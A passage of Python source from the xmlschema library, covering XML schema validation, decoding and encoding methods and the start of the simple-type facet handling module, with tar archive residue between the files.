dynamic schema loading using schema location hints. :raises: :exc:`XMLSchemaValidationError` if the XML data instance is invalid. """ for error in self.iter_errors(source, path, schema_path, use_defaults, namespaces, max_depth, extra_validator, validation_hook, allow_empty, use_location_hints, validation='strict'): raise error def is_valid(self, source: Union[XMLSourceType, XMLResource], path: Optional[str] = None, schema_path: Optional[str] = None, use_defaults: bool = True, namespaces: Optional[NsmapType] = None, max_depth: Optional[int] = None, extra_validator: Optional[ExtraValidatorType] = None, validation_hook: Optional[ValidationHookType] = None, allow_empty: bool = True, use_location_hints: bool = False) -> bool: """ Like :meth:`validate` except that does not raise an exception but returns ``True`` if the XML data instance is valid, ``False`` if it is invalid. """ error = next(self.iter_errors(source, path, schema_path, use_defaults, namespaces, max_depth, extra_validator, validation_hook, allow_empty, use_location_hints), None) return error is None def iter_errors(self, source: Union[XMLSourceType, XMLResource], path: Optional[str] = None, schema_path: Optional[str] = None, use_defaults: bool = True, namespaces: Optional[NsmapType] = None, max_depth: Optional[int] = None, extra_validator: Optional[ExtraValidatorType] = None, validation_hook: Optional[ValidationHookType] = None, allow_empty: bool = True, use_location_hints: bool = False, validation: str = 'lax') \ -> Iterator[XMLSchemaValidationError]: """ Creates an iterator for the errors generated by the validation of an XML data against the XSD schema/component instance. Accepts the same arguments of :meth:`validate`. """ self.check_validator(validation='lax') if isinstance(source, XMLResource): resource: XMLResource = source else: resource = XMLResource( source=source, defuse=self.defuse, timeout=self.timeout, opener=self.opener, iterparse=self.iterparse, ) ancestors: list[Element] = [] prev_ancestors: list[Element] = [] kwargs: dict[Any, Any] = { 'level': resource.lazy_depth or bool(path), 'namespaces': namespaces, 'validation_only': True, 'check_identities': True, 'use_defaults': use_defaults, 'use_location_hints': use_location_hints, 'max_depth': max_depth, 'extra_validator': extra_validator, 'validation_hook': validation_hook, } context = DecodeContext(resource, validation, **kwargs) namespaces = context.namespaces identities = context.identities namespace = resource.namespace or namespaces.get('', '') try: schema = self.get_schema(namespace) except KeyError: schema = self if not schema_path: schema_path = resource.get_absolute_path(path) if path: selector = resource.iterfind(path, namespaces, ancestors=ancestors) else: selector = resource.iter_depth(mode=4, ancestors=ancestors) elem: Optional[Element] = None for elem in selector: if elem is resource.root: if resource.lazy_depth: context.level = 0 context.identities = {} context.max_depth = resource.lazy_depth else: if prev_ancestors != ancestors: k = 0 for k in range(min(len(ancestors), len(prev_ancestors))): if ancestors[k] is not prev_ancestors[k]: break path_ = f"{'/'.join(e.tag for e in ancestors)}/ancestor-or-self::node()" xsd_ancestors = cast(list[XsdElement], schema.findall(path_, namespaces)[1:]) # Clear identity constraints counters for k, e in enumerate(xsd_ancestors[k:], start=k): for identity in e.identities: if identity in identities: identities[identity].reset(ancestors[k]) else: identities[identity] = identity.get_counter(ancestors[k]) prev_ancestors = ancestors[:] xsd_element = schema.get_element(elem.tag, schema_path, namespaces) if xsd_element is None: if nm.XSI_TYPE in elem.attrib: xsd_element = self.builders.create_element(elem.tag, self) elif elem is not resource.root and ancestors: continue else: yield context.missing_element_error(validation, self, elem, path, schema_path) return try: xsd_element.raw_decode(elem, validation, context) except XMLSchemaStopValidation: pass yield from context.errors context.errors.clear() else: if elem is None and not allow_empty: assert path is not None reason = _("the provided path selects nothing to validate") yield context.validation_error(validation, self, reason) return if context.identities is not identities: for identity, counter in context.identities.items(): identities[identity].counter.update(counter.counter) context.identities = identities yield from self._validate_references(validation, context) def _validate_references(self, validation: str, context: DecodeContext) \ -> Iterator[XMLSchemaValidationError]: # Check unresolved IDREF values for k, v in context.id_map.items(): if v == 0: msg = _("IDREF %r not found in XML document") % k yield context.validation_error(validation, self, msg, context.source.root) # Check still enabled key references (lazy validation cases) for identity, counter in context.identities.items(): if counter.enabled and isinstance(identity, XsdKeyref): for error in cast(KeyrefCounter, counter).iter_errors(context.identities): yield context.validation_error(validation, self, error, context.source.root) def raw_decoder(self, source: Union[XMLSourceType, XMLResource], path: Optional[str] = None, schema_path: Optional[str] = None, validation: str = 'lax', **kwargs: Any) -> Iterator[Union[Any, XMLSchemaValidationError]]: """Returns a generator for decoding a resource.""" context = DecodeContext(source, validation, **kwargs) if path: selector = context.source.iterfind(path, context.namespaces) else: selector = context.source.iter_depth(mode=2) for elem in selector: xsd_element = self.get_element(elem.tag, schema_path, context.namespaces) if xsd_element is None: if nm.XSI_TYPE in elem.attrib: xsd_element = self.builders.create_element(elem.tag, self) else: yield context.missing_element_error(validation, self, elem, path, schema_path) continue result = xsd_element.raw_decode(elem, validation, context) if context.errors: yield from context.errors context.errors.clear() if result is not Empty: yield result if context.max_depth is None: yield from self._validate_references(validation, context) def iter_decode(self, source: Union[XMLSourceType, XMLResource], path: Optional[str] = None, schema_path: Optional[str] = None, validation: str = 'lax', process_namespaces: bool = True, namespaces: Optional[NsmapType] = None, use_defaults: bool = True, use_location_hints: bool = False, decimal_type: Optional[Type[Any]] = None, datetime_types: bool = False, binary_types: bool = False, converter: Optional[ConverterType] = None, filler: Optional[FillerType] = None, fill_missing: bool = False, keep_empty: bool = False, keep_unknown: bool = False, process_skipped: bool = False, max_depth: Optional[int] = None, depth_filler: Optional[DepthFillerType] = None, extra_validator: Optional[ExtraValidatorType] = None, validation_hook: Optional[ValidationHookType] = None, value_hook: Optional[ValueHookType] = None, element_hook: Optional[ElementHookType] = None, errors: Optional[list[XMLSchemaValidationError]] = None, **kwargs: Any) -> Iterator[Union[Any, XMLSchemaValidationError]]: """ Creates an iterator for decoding an XML source to a data structure. :param source: the source of XML data. Can be an :class:`XMLResource` instance, a \ path to a file or a URI of a resource or an opened file-like object or an Element \ instance or an ElementTree instance or a string containing the XML data. :param path: is an optional XPath expression that matches the elements of the XML \ data that have to be decoded. If not provided the XML root element is selected. :param schema_path: an alternative XPath expression to select the XSD element \ to use for decoding. Useful if the root of the XML data doesn't match an XSD \ global element of the schema. :param validation: defines the XSD validation mode to use for decode, can be \ 'strict', 'lax' or 'skip'. :param process_namespaces: whether to use namespace information in the \ decoding process, using the map provided with the argument *namespaces* \ and the namespace declarations extracted from the XML document. :param namespaces: is an optional mapping from namespace prefix to URI that \ integrate/override the root namespace declarations of the XML source. \ In case of prefix collision an alternate prefix is used for the root \ XML namespace declaration. :param use_defaults: whether to use default values for filling missing data. :param use_location_hints: for default schema locations hints provided within \ XML data are ignored in order to avoid the change of schema instance. Set this \ option to `True` to activate dynamic schema loading using schema location hints. :param decimal_type: conversion type for `Decimal` objects (generated by \ `xs:decimal` built-in and derived types), useful if you want to generate a \ JSON-compatible data structure. :param datetime_types: if set to `True` the datetime and duration XSD types \ are kept decoded, otherwise their origin XML string is returned. :param binary_types: if set to `True` xs:hexBinary and xs:base64Binary types \ are kept decoded, otherwise their origin XML string is returned. :param converter: an :class:`XMLSchemaConverter` subclass or instance to use \ for decoding. :param filler: an optional callback function to fill undecodable data with a \ typed value. The callback function must accept one positional argument, that \ can be an XSD Element or an attribute declaration. If not provided undecodable \ data is replaced by `None`. :param fill_missing: if set to `True` the decoder fills also missing attributes. \ The filling value is `None` or a typed value if the *filler* callback is provided. :param keep_empty: if set to `True` empty elements that are valid are decoded with \ an empty string value instead of a `None`. :param keep_unknown: if set to `True` unknown tags are kept and are decoded with \ *xs:anyType*. For default unknown tags not decoded by a wildcard are discarded. :param process_skipped: process XML data that match a wildcard with \ `processContents='skip'`. :param max_depth: maximum level of decoding, for default there is no limit. \ With lazy resources is set to `source.lazy_depth` for managing lazy decoding. :param depth_filler: an optional callback function to replace data over the \ *max_depth* level. The callback function must accept one positional argument, that \ can be an XSD Element. If not provided deeper data are replaced with `None` values. :param extra_validator: an optional function for performing non-standard \ validations on XML data. The provided function is called for each traversed \ element, with the XML element as 1st argument and the corresponding XSD \ element as 2nd argument. It can be also a generator function and has to \ raise/yield :exc:`XMLSchemaValidationError` exceptions. :param validation_hook: an optional function for stopping or changing \ validated decoding at element level. The provided function must accept two \ arguments, the XML element and the matching XSD element. If the value returned \ by this function is evaluated to false then the decoding process continues \ without changes, otherwise the decoding process is stopped or changed. If the \ value returned is a validation mode the decoding process continues changing the \ current validation mode to the returned value, otherwise the element and its \ content are not decoded. :param value_hook: an optional function that will be called with any decoded \ atomic value and the XSD type used for decoding. The return value will be used \ instead of the original value. :param element_hook: an optional function that is called with decoded element \ data before calling the converter decode method. Takes an `ElementData` \ instance plus optionally the XSD element and the XSD type, and returns a \ new `ElementData` instance. :param errors: optional internal collector for validation errors. :param kwargs: keyword arguments with other options for building converter instances. :return: yields a decoded data object, eventually preceded by a sequence of \ validation or decoding errors. """ self.check_validator(validation) if isinstance(source, XMLResource): resource: XMLResource = source else: resource = XMLResource( source=source, defuse=self.defuse, timeout=self.timeout, opener=self.opener, iterparse=self.iterparse, ) if converter is None: converter = self.converter kwargs.update( process_namespaces=process_namespaces, namespaces=namespaces, check_identities=True, use_defaults=use_defaults, use_location_hints=use_location_hints, decimal_type=decimal_type, datetime_types=datetime_types, binary_types=binary_types, converter=converter, filler=filler, fill_missing=fill_missing, keep_empty=keep_empty, keep_unknown=keep_unknown, process_skipped=process_skipped, max_depth=max_depth, depth_filler=depth_filler, extra_validator=extra_validator, validation_hook=validation_hook, value_hook=value_hook, element_hook=element_hook, errors=errors ) context = DecodeContext(resource, validation, **kwargs) namespaces = context.namespaces namespace = resource.namespace or namespaces.get('', '') schema = self.get_schema(namespace) if path: selector = resource.iterfind(path, namespaces) if not schema_path: schema_path = resource.get_absolute_path(path) elif not resource.is_lazy(): selector = iter((resource.root,)) else: decoder = self.raw_decoder( source=resource, schema_path=resource.get_absolute_path(), validation=validation, **kwargs ) context.depth_filler = lambda x: decoder context.max_depth = resource.lazy_depth selector = resource.iter_depth(mode=3) yielded_errors = 0 for elem in selector: xsd_element = schema.get_element(elem.tag, schema_path, namespaces) if xsd_element is None: if nm.XSI_TYPE in elem.attrib: xsd_element = self.builders.create_element(elem.tag, self) else: yield context.missing_element_error(validation, self, elem, path, schema_path) return result = xsd_element.raw_decode(elem, validation, context) if errors is not context.errors: yield from context.errors context.errors.clear() elif len(context.errors) > yielded_errors: yield from context.errors[yielded_errors:] yielded_errors = len(context.errors) if result is not Empty: yield result if context.max_depth is not None: yield from self._validate_references(validation, context) def decode(self, source: Union[XMLSourceType, XMLResource], path: Optional[str] = None, schema_path: Optional[str] = None, validation: str = 'strict', *args: Any, **kwargs: Any) -> DecodeType[Any]: """ Decodes XML data. Takes the same arguments of the method :meth:`iter_decode`. """ data, errors = [], [] for result in self.iter_decode(source, path, schema_path, validation, *args, **kwargs): if not isinstance(result, XMLSchemaValidationError): data.append(result) elif validation == 'lax': errors.append(result) elif validation == 'strict': raise result if not data: return (None, errors) if validation == 'lax' else None elif len(data) == 1: return (data[0], errors) if validation == 'lax' else data[0] else: return (data, errors) if validation == 'lax' else data to_dict = decode def to_objects(self, source: Union[XMLSourceType, XMLResource], with_bindings: bool = False, **kwargs: Any) -> DecodeType['dataobjects.DataElement']: """ Decodes XML data to Python data objects. :param source: the XML data. Can be a string for an attribute or for a simple \ type components or a dictionary for an attribute group or an ElementTree's \ Element for other components. :param with_bindings: if `True` is provided the decoding is done using \ :class:`DataBindingConverter` that used XML data binding classes. For \ default the objects are instances of :class:`DataElement` and uses the \ :class:`DataElementConverter`. :param kwargs: other optional keyword arguments for the method \ :func:`iter_decode`, except the argument *converter*. """ if with_bindings: return self.decode(source, converter=dataobjects.DataBindingConverter, **kwargs) return self.decode(source, converter=dataobjects.DataElementConverter, **kwargs) def iter_encode(self, obj: Any, path: Optional[str] = None, validation: str = 'lax', namespaces: Optional[NsmapType] = None, use_defaults: bool = True, converter: Optional[ConverterType] = None, unordered: bool = False, process_skipped: bool = False, max_depth: Optional[int] = None, untyped_data: bool = False, **kwargs: Any) -> Iterator[Union[Element, XMLSchemaValidationError]]: """ Creates an iterator for encoding a data structure to an ElementTree's Element. :param obj: the data that has to be encoded to XML data. :param path: is an optional XPath expression for selecting the element of \ the schema that matches the data that has to be encoded. For default the first \ global element of the schema is used. :param validation: the XSD validation mode. Can be 'strict', 'lax' or 'skip'. :param namespaces: is an optional mapping from namespace prefix to URI. :param use_defaults: whether to use default values for filling missing data. :param converter: an :class:`XMLSchemaConverter` subclass or instance to use for \ the encoding. :param unordered: a flag for explicitly activating unordered encoding mode for \ content model data. This mode uses content models for a reordered-by-model \ iteration of the child elements. :param process_skipped: process XML decoded data that match a wildcard with \ `processContents='skip'`. :param max_depth: maximum level of encoding, for default there is no limit. :param untyped_data: for default xs:untypedAtomic datatype is not accepted as \ a decoded value, set to true to extend the compatibility of with string and \ untyped values to all builtin datatypes. :param kwargs: keyword arguments with other options for building the \ converter instance. :return: yields an Element instance/s or validation/encoding errors. """ self.check_validator(validation) if not self.elements: msg = _("encoding needs at least one XSD element declaration") raise XMLSchemaValueError(msg) if converter is None: converter = self.converter kwargs.update( namespaces=namespaces, check_identities=True, use_defaults=use_defaults, converter=converter, unordered=unordered, process_skipped=process_skipped, max_depth=max_depth, untyped_data=untyped_data, ) context = EncodeContext(obj, validation, **kwargs) xsd_element = None if path is not None: match = re.search(r'[{\w]', path) if match: namespace = get_namespace_ext(path[match.start():], context.namespaces) schema = self.get_schema(namespace) xsd_element = schema.find(path, context.namespaces) elif len(self.elements) == 1: xsd_element = list(self.elements.values())[0] else: root_elements = self.root_elements if len(root_elements) == 1: xsd_element = root_elements[0] elif isinstance(obj, (context.converter.dict, dict)) and len(obj) == 1: for key in obj: match = re.search(r'[{\w]', key) if match: namespace = get_namespace_ext(key[match.start():], context.namespaces) schema = self.get_schema(namespace) xsd_element = schema.find(key, context.namespaces) if not isinstance(xsd_element, XsdElement): if path is not None: reason = _("the path %r doesn't match any element of the schema!") % path else: reason = _("unable to select an element for encoding data, " "provide a valid 'path' argument.") raise XMLSchemaEncodeError(self, obj, self.elements, reason, namespaces=namespaces) else: result = xsd_element.raw_encode(obj, validation, context) yield from context.errors context.errors.clear() if result is not None: yield result def encode(self, obj: Any, path: Optional[str] = None, validation: str = 'strict', *args: Any, **kwargs: Any) -> EncodeType[Any]: """ Encodes to XML data. Takes the same arguments of the method :meth:`iter_encode`. :return: An ElementTree's Element or a list containing a sequence of ElementTree's \ elements if the argument *path* matches multiple XML data chunks. If *validation* \ argument is 'lax' a 2-items tuple is returned, where the first item is the encoded \ object and the second item is a list containing the errors. """ data, errors = [], [] result: Union[Element, XMLSchemaValidationError] for result in self.iter_encode(obj, path, validation, *args, **kwargs): if not isinstance(result, XMLSchemaValidationError): data.append(result) elif validation == 'lax': errors.append(result) elif validation == 'strict': raise result if not data: return (None, errors) if validation == 'lax' else None elif len(data) == 1: if errors and is_etree_element(data[0]): # Replace decoded data source with an XML resource resource = XMLResource(data[0]) for e in errors: e.source = resource return (data[0], errors) if validation == 'lax' else data[0] else: return (data, errors) if validation == 'lax' else data to_etree = encode class XMLSchema10(XMLSchemaBase): """ XSD 1.0 schema class. .. <schema attributeFormDefault = (qualified | unqualified) : unqualified blockDefault = (#all | List of (extension | restriction | substitution)) : '' elementFormDefault = (qualified | unqualified) : unqualified finalDefault = (#all | List of (extension | restriction | list | union)) : '' id = ID targetNamespace = anyURI version = token xml:lang = language {any attributes with non-schema namespace . . .}> Content: ((include | import | redefine | annotation)*, (((simpleType | complexType | group | attributeGroup) | element | attribute | notation), annotation*)*) </schema> """ builders = XsdBuilders() META_SCHEMA = f'{SCHEMAS_DIR}XSD_1.0/XMLSchema.xsd' BASE_SCHEMAS = { nm.XML_NAMESPACE: f'{SCHEMAS_DIR}XML/xml.xsd', nm.XSI_NAMESPACE: f'{SCHEMAS_DIR}XSI/XMLSchema-instance.xsd', } class XMLSchema11(XMLSchemaBase): """ XSD 1.1 schema class. .. <schema attributeFormDefault = (qualified | unqualified) : unqualified blockDefault = (#all | List of (extension | restriction | substitution)) : '' defaultAttributes = QName xpathDefaultNamespace = (anyURI | (##defaultNamespace | ##targetNamespace| ##local)) : ##local elementFormDefault = (qualified | unqualified) : unqualified finalDefault = (#all | List of (extension | restriction | list | union)) : '' id = ID targetNamespace = anyURI version = token xml:lang = language {any attributes with non-schema namespace . . .}> Content: ((include | import | redefine | override | annotation)*, (defaultOpenContent, annotation*)?, ((simpleType | complexType | group | attributeGroup | element | attribute | notation), annotation*)*) </schema> <schema attributeFormDefault = (qualified | unqualified) : unqualified blockDefault = (#all | List of (extension | restriction | substitution)) : '' elementFormDefault = (qualified | unqualified) : unqualified finalDefault = (#all | List of (extension | restriction | list | union)) : '' id = ID targetNamespace = anyURI version = token xml:lang = language {any attributes with non-schema namespace . . .}> Content: ((include | import | redefine | annotation)*, (((simpleType | complexType | group | attributeGroup) | element | attribute | notation), annotation*)*) </schema> """ builders = XsdBuilders() XSD_VERSION = '1.1' META_SCHEMA = f'{SCHEMAS_DIR}XSD_1.1/XMLSchema.xsd' BASE_SCHEMAS = { nm.XML_NAMESPACE: f'{SCHEMAS_DIR}XML/xml.xsd', nm.XSI_NAMESPACE: f'{SCHEMAS_DIR}XSI/XMLSchema-instance.xsd', nm.VC_NAMESPACE: f'{SCHEMAS_DIR}VC/XMLSchema-versioning.xsd', nm.XSD_NAMESPACE: f'{SCHEMAS_DIR}XSD_1.1/xsd11-extra.xsd', } XMLSchema = XMLSchema10 """The default class for schema instances.""" ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/simple_types.py������������������������������������������������0000664�0000000�0000000�00000175332�15020401055�0022720�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This module contains classes for XML Schema simple data types. """ import re from collections.abc import Callable, Iterator from decimal import DecimalException, Decimal from functools import cached_property from typing import cast, Any, Optional, Union, Type from xml.etree import ElementTree from elementpath.datatypes import AnyAtomicType, AbstractDateTime, AbstractQName, \ Duration, UntypedAtomic from xmlschema.aliases import ElementType, AtomicValueType, ComponentClassType, \ BaseXsdType, SchemaType, DecodedValueType, NsmapType from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError from xmlschema.names import XSD_NAMESPACE, XSD_ANY_TYPE, XSD_SIMPLE_TYPE, XSD_PATTERN, \ XSD_ANY_ATOMIC_TYPE, XSD_ATTRIBUTE, XSD_ATTRIBUTE_GROUP, XSD_ANY_ATTRIBUTE, \ XSD_MIN_INCLUSIVE, XSD_MIN_EXCLUSIVE, XSD_MAX_INCLUSIVE, XSD_MAX_EXCLUSIVE, \ XSD_LENGTH, XSD_MIN_LENGTH, XSD_MAX_LENGTH, XSD_WHITE_SPACE, XSD_ENUMERATION, \ XSD_LIST, XSD_ANY_SIMPLE_TYPE, XSD_UNION, XSD_RESTRICTION, XSD_ANNOTATION, \ XSD_ASSERTION, XSD_ID, XSD_IDREF, XSD_FRACTION_DIGITS, XSD_TOTAL_DIGITS, \ XSD_EXPLICIT_TIMEZONE, XSD_ERROR, XSD_ASSERT, XSD_QNAME, XSD_NOTATION, XSD_BOOLEAN from xmlschema.translation import gettext as _ from xmlschema.utils.qnames import local_name, get_extended_qname from xmlschema.utils.decoding import raw_encode_value from .exceptions import XMLSchemaValidationError, XMLSchemaParseError, \ XMLSchemaCircularityError, XMLSchemaDecodeError, XMLSchemaEncodeError from .validation import DecodeContext, EncodeContext, ValidationMixin from .xsdbase import XsdComponent, XsdType from .facets import XsdFacet, XsdWhiteSpaceFacet, XsdPatternFacets, \ XsdEnumerationFacets, XsdAssertionFacet, XSD_10_FACETS, XSD_11_FACETS, \ XSD_10_LIST_FACETS, XSD_11_LIST_FACETS, XSD_10_UNION_FACETS, \ XSD_11_UNION_FACETS, MULTIPLE_FACETS FacetsValueType = Union[XsdFacet, Callable[[Any], None], list[XsdAssertionFacet]] PythonTypeClasses = Union[Type[Any], tuple[Type[Any]]] class XsdSimpleType(XsdType, ValidationMixin[Union[str, bytes], DecodedValueType]): """ Base class for simpleTypes definitions. Generally used only for instances of xs:anySimpleType. .. <simpleType final = (#all | List of (list | union | restriction | extension)) id = ID name = NCName {any attributes with non-schema namespace . . .}> Content: (annotation?, (restriction | list | union)) </simpleType> """ _special_types = {XSD_ANY_TYPE, XSD_ANY_SIMPLE_TYPE} _ADMITTED_TAGS: tuple[str, ...] = XSD_SIMPLE_TYPE, _REGEX_SPACE = re.compile(r'\s') _REGEX_SPACES = re.compile(r'\s+') abstract: bool = False block: str = '' min_length: Optional[int] max_length: Optional[int] white_space: Optional[str] patterns: Optional[XsdPatternFacets] validators: Union[tuple[()], list[Union[XsdFacet, Callable[[Any], None]]]] allow_empty: bool datatype: Type[Any] = str # Unicode string as default datatype for XSD simple types python_type: Type[Any] = str instance_types: PythonTypeClasses = str to_python: Union[Type[Any], Callable[[Union[str, bytes]], AtomicValueType]] = str from_python: Union[Type[str], Callable[[Any], str]] = str __slots__ = ('_facets', 'min_length', 'max_length', 'white_space', 'patterns', 'validators', 'allow_empty') def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional[XsdComponent] = None, name: Optional[str] = None, facets: Optional[dict[Optional[str], FacetsValueType]] = None) -> None: super().__init__(elem, schema, parent, name) if not hasattr(self, '_facets'): self.facets = facets if facets is not None else {} @property def facets(self) -> dict[Optional[str], FacetsValueType]: return self._facets @facets.setter def facets(self, facets: dict[Optional[str], FacetsValueType]) -> None: self._facets = facets self.min_length = self.max_length = None self.patterns = None self.validators = () if not isinstance(self, XsdAtomicBuiltin): self._parse_facets(facets) if self.min_length: self.allow_empty = False else: self.allow_empty = True white_space = getattr(self.get_facet(XSD_WHITE_SPACE), 'value', None) if isinstance(self, XsdUnion): if not (white_space is None or white_space == 'collapse'): msg = _("wrong value %r for facet xs:whiteSpace") raise XMLSchemaValueError(msg % white_space) self.white_space = 'collapse' else: self.white_space = white_space patterns = self.get_facet(XSD_PATTERN) if isinstance(patterns, XsdPatternFacets): self.patterns = patterns if patterns.re_match('') is None: self.allow_empty = False enumeration = self.get_facet(XSD_ENUMERATION) if isinstance(enumeration, XsdEnumerationFacets) \ and '' not in enumeration.enumeration: self.allow_empty = False if facets: validators: list[Union[XsdFacet, Callable[[Any], None]]] if callable(func := facets.get(None)): validators = [func] # a validation function else: validators = [cast(XsdFacet, v) for k, v in facets.items() if k not in (XSD_WHITE_SPACE, XSD_PATTERN, XSD_ASSERTION)] if XSD_ASSERTION in facets: assertions = facets[XSD_ASSERTION] if isinstance(assertions, list): validators.extend(assertions) else: validators.append(assertions) if validators: self.validators = validators def _parse_facets(self, facets: Any) -> None: base_type: Any if facets and self.base_type is not None: if isinstance(self.base_type, XsdSimpleType): if self.base_type.name == XSD_ANY_SIMPLE_TYPE: msg = _("facets not allowed for a direct derivation of xs:anySimpleType") self.parse_error(msg) elif self.base_type.has_simple_content(): if self.base_type.content.name == XSD_ANY_SIMPLE_TYPE: msg = _("facets not allowed for a direct content " "derivation of xs:anySimpleType") self.parse_error(msg) # Checks the applicability of the facets if any(k not in self.admitted_facets for k in facets if k is not None): msg = _("one or more facets are not applicable, admitted set is {!r}") self.parse_error(msg.format({local_name(e) for e in self.admitted_facets if e})) # Check group base_type base_type = {t.base_type for t in facets.values() if isinstance(t, XsdFacet)} if len(base_type) > 1: msg = _("facet group must have the same base type: %r") self.parse_error(msg % base_type) base_type = base_type.pop() if base_type else None # Checks length based facets length = getattr(facets.get(XSD_LENGTH), 'value', None) min_length = getattr(facets.get(XSD_MIN_LENGTH), 'value', None) max_length = getattr(facets.get(XSD_MAX_LENGTH), 'value', None) if length is not None: if length < 0: self.parse_error(_("'length' value must be non a negative integer")) if min_length is not None: if min_length > length: msg = _("'minLength' value must be less than or equal to 'length'") self.parse_error(msg) min_length_facet = base_type.get_facet(XSD_MIN_LENGTH) length_facet = base_type.get_facet(XSD_LENGTH) if (min_length_facet is None or (length_facet is not None and length_facet.base_type == min_length_facet.base_type)): msg = _("cannot specify both 'length' and 'minLength'") self.parse_error(msg) if max_length is not None: if max_length < length: msg = _("'maxLength' value must be greater or equal to 'length'") self.parse_error(msg) max_length_facet = base_type.get_facet(XSD_MAX_LENGTH) length_facet = base_type.get_facet(XSD_LENGTH) if max_length_facet is None \ or (length_facet is not None and length_facet.base_type == max_length_facet.base_type): msg = _("cannot specify both 'length' and 'maxLength'") self.parse_error(msg) min_length = max_length = length elif min_length is not None or max_length is not None: min_length_facet = base_type.get_facet(XSD_MIN_LENGTH) max_length_facet = base_type.get_facet(XSD_MAX_LENGTH) if min_length is not None: if min_length < 0: msg = _("'minLength' value must be a non negative integer") self.parse_error(msg) if max_length is not None and max_length < min_length: msg = _("'maxLength' value is less than 'minLength'") self.parse_error(msg) if min_length_facet is not None and min_length_facet.value > min_length: msg = _("'minLength' has a lesser value than parent") self.parse_error(msg) if max_length_facet is not None and min_length > max_length_facet.value: msg = _("'minLength' has a greater value than parent 'maxLength'") self.parse_error(msg) if max_length is not None: if max_length < 0: msg = _("'maxLength' value must be a non negative integer") self.parse_error(msg) if min_length_facet is not None and min_length_facet.value > max_length: msg = _("'maxLength' has a lesser value than parent 'minLength'") self.parse_error(msg) if max_length_facet is not None and max_length > max_length_facet.value: msg = _("'maxLength' has a greater value than parent") self.parse_error(msg) # Checks min/max values min_inclusive = getattr(facets.get(XSD_MIN_INCLUSIVE), 'value', None) min_exclusive = getattr(facets.get(XSD_MIN_EXCLUSIVE), 'value', None) max_inclusive = getattr(facets.get(XSD_MAX_INCLUSIVE), 'value', None) max_exclusive = getattr(facets.get(XSD_MAX_EXCLUSIVE), 'value', None) if min_inclusive is not None: if min_exclusive is not None: msg = _("cannot specify both 'minInclusive' and 'minExclusive'") self.parse_error(msg) if max_inclusive is not None and min_inclusive > max_inclusive: msg = _("'minInclusive' must be less or equal to 'maxInclusive'") self.parse_error(msg) elif max_exclusive is not None and min_inclusive >= max_exclusive: msg = _("'minInclusive' must be lesser than 'maxExclusive'") self.parse_error(msg) elif min_exclusive is not None: if max_inclusive is not None and min_exclusive >= max_inclusive: msg = _("'minExclusive' must be lesser than 'maxInclusive'") self.parse_error(msg) elif max_exclusive is not None and min_exclusive > max_exclusive: msg = _("'minExclusive' must be less or equal to 'maxExclusive'") self.parse_error(msg) if max_inclusive is not None and max_exclusive is not None: self.parse_error(_("cannot specify both 'maxInclusive' and 'maxExclusive'")) # Checks fraction digits if XSD_TOTAL_DIGITS in facets: if XSD_FRACTION_DIGITS in facets and \ facets[XSD_TOTAL_DIGITS].value < facets[XSD_FRACTION_DIGITS].value: msg = _("fractionDigits facet value cannot be lesser " "than the value of totalDigits facet") self.parse_error(msg) total_digits = base_type.get_facet(XSD_TOTAL_DIGITS) if total_digits is not None and total_digits.value < facets[XSD_TOTAL_DIGITS].value: msg = _("totalDigits facet value cannot be greater than " "the value of the same facet in the base type") self.parse_error(msg) # Checks XSD 1.1 facets if XSD_EXPLICIT_TIMEZONE in facets: explicit_tz_facet = base_type.get_facet(XSD_EXPLICIT_TIMEZONE) if explicit_tz_facet and explicit_tz_facet.value in ('prohibited', 'required') \ and facets[XSD_EXPLICIT_TIMEZONE].value != explicit_tz_facet.value: msg = _("the explicitTimezone facet value cannot be changed " "if the base type has the same facet with value %r") self.parse_error(msg % explicit_tz_facet.value) self.min_length = min_length self.max_length = max_length @property def variety(self) -> Optional[str]: return None @property def simple_type(self) -> 'XsdSimpleType': return self @cached_property def min_value(self) -> Optional[AtomicValueType]: min_exclusive: Optional['AtomicValueType'] min_inclusive: Optional['AtomicValueType'] min_exclusive = cast( Optional['AtomicValueType'], getattr(self.get_facet(XSD_MIN_EXCLUSIVE), 'value', None) ) min_inclusive = cast( Optional['AtomicValueType'], getattr(self.get_facet(XSD_MIN_INCLUSIVE), 'value', None) ) if min_exclusive is None: return min_inclusive elif min_inclusive is None: return min_exclusive elif min_inclusive <= min_exclusive: # type: ignore[operator] return min_exclusive else: return min_inclusive @cached_property def max_value(self) -> Optional[AtomicValueType]: max_exclusive: Optional['AtomicValueType'] max_inclusive: Optional['AtomicValueType'] max_exclusive = cast( Optional['AtomicValueType'], getattr(self.get_facet(XSD_MAX_EXCLUSIVE), 'value', None) ) max_inclusive = cast( Optional['AtomicValueType'], getattr(self.get_facet(XSD_MAX_INCLUSIVE), 'value', None) ) if max_exclusive is None: return max_inclusive elif max_inclusive is None: return max_exclusive elif max_inclusive >= max_exclusive: # type: ignore[operator] return max_exclusive else: return max_inclusive @cached_property def enumeration(self) -> Optional[list[Optional[AtomicValueType]]]: enumeration = self.get_facet(XSD_ENUMERATION) if isinstance(enumeration, XsdEnumerationFacets): return enumeration.enumeration return None @property def admitted_facets(self) -> set[str]: return XSD_10_FACETS if self.xsd_version == '1.0' else XSD_11_FACETS @staticmethod def is_simple() -> bool: return True @staticmethod def is_complex() -> bool: return False @property def content_type_label(self) -> str: return 'empty' if self.max_length == 0 else 'simple' @property def root_type(self) -> BaseXsdType: if self.base_type is None: return self elif isinstance(self.base_type, XsdAtomic): return self.base_type.primitive_type else: return self.base_type.root_type @property def sequence_type(self) -> str: if self.is_empty(): return 'empty-sequence()' root_type = self.root_type if root_type.name is not None: sequence_type = f'xs:{root_type.local_name}' else: sequence_type = 'xs:untypedAtomic' if not self.is_list(): return sequence_type elif self.is_emptiable(): return f'{sequence_type}*' else: return f'{sequence_type}+' def is_empty(self) -> bool: return self.max_length == 0 or \ self.enumeration is not None and all(v == '' for v in self.enumeration) def is_emptiable(self) -> bool: return self.allow_empty def has_simple_content(self) -> bool: return self.max_length != 0 def has_complex_content(self) -> 